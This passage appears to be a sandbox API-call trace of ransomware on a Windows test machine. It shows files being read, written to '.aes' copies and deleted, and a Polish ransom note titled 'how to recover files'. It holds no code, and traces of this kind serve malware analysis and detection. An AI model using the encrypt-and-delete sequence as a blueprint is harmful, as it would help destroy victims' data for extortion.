lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp", lpFilePart=0x0) returned 0x4f [0072.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0072.004] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\7wldze9wqqhkod.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0072.004] GetFileType (hFile=0x34c) returned 0x1 [0072.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0072.005] GetFileType (hFile=0x34c) returned 0x1 [0072.005] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp.aes", lpFilePart=0x0) returned 0x53 [0072.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0072.005] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\7wldze9wqqhkod.odp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0072.005] GetFileType (hFile=0x354) returned 0x1 [0072.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0072.005] GetFileType (hFile=0x354) returned 0x1 [0072.005] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0072.012] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0072.012] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0072.019] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0072.019] GetAdaptersAddresses () returned 0x6f [0072.024] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0072.024] GetAdaptersAddresses () returned 0x0 [0072.029] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.036] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.036] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.043] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.043] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.049] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.049] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.055] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.056] LocalFree (hMem=0x7014730) returned 0x0 [0072.056] GetBestInterfaceEx (in: pDestAddr=0x27b50e4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0072.140] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.141] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.141] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.142] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.142] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.142] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.142] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.142] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.142] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.142] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.143] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.143] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.143] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.143] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.143] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.143] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.143] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.143] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.144] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.144] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.144] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.144] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.144] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.144] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.144] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.145] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.145] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.145] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.145] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.145] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.145] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.145] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.146] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.146] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.146] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.146] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x4c3, lpOverlapped=0x0) returned 1 [0072.146] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2edc*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0072.146] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce974*=0x5e1, lpOverlapped=0x0) returned 1 [0072.146] WriteFile (in: hFile=0x354, lpBuffer=0x2763f7c*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2763f7c*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0072.146] CloseHandle (hObject=0x354) returned 1 [0072.147] CloseHandle (hObject=0x34c) returned 1 [0072.147] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp", lpFilePart=0x0) returned 0x4f [0072.147] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\7wldze9wqqhkod.odp")) returned 1 [0072.149] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0072.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0072.149] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52988e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe52988e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe52988e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0072.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0072.149] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0072.175] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc", lpFilePart=0x0) returned 0x4e [0072.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0072.176] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\hvcemxs1islck.doc"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd32f50, ftCreationTime.dwHighDateTime=0x1d2fc6b, ftLastAccessTime.dwLowDateTime=0xd989ad70, ftLastAccessTime.dwHighDateTime=0x1d2fd52, ftLastWriteTime.dwLowDateTime=0xd989ad70, ftLastWriteTime.dwHighDateTime=0x1d2fd52, nFileSizeHigh=0x0, nFileSizeLow=0xc167)) returned 1 [0072.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0072.176] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc", lpFilePart=0x0) returned 0x4e [0072.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0072.176] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\hvcemxs1islck.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0072.176] GetFileType (hFile=0x34c) returned 0x1 [0072.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0072.176] GetFileType (hFile=0x34c) returned 0x1 [0072.176] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc.aes", lpFilePart=0x0) returned 0x52 [0072.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0072.176] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\hvcemxs1islck.doc.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0072.176] GetFileType (hFile=0x354) returned 0x1 [0072.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0072.176] GetFileType (hFile=0x354) returned 0x1 [0072.177] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0072.184] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0072.184] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0072.191] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0072.191] GetAdaptersAddresses () returned 0x6f [0072.195] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0072.195] GetAdaptersAddresses () returned 0x0 [0072.200] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.207] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.207] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.213] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.213] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.220] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.220] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.227] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.227] LocalFree (hMem=0x7014730) returned 0x0 [0072.227] GetBestInterfaceEx (in: pDestAddr=0x27ac668*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0072.319] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.320] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.321] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.321] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.321] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.321] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.321] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.321] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.321] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.322] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.322] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.322] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.322] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.322] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.322] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.322] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.322] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, 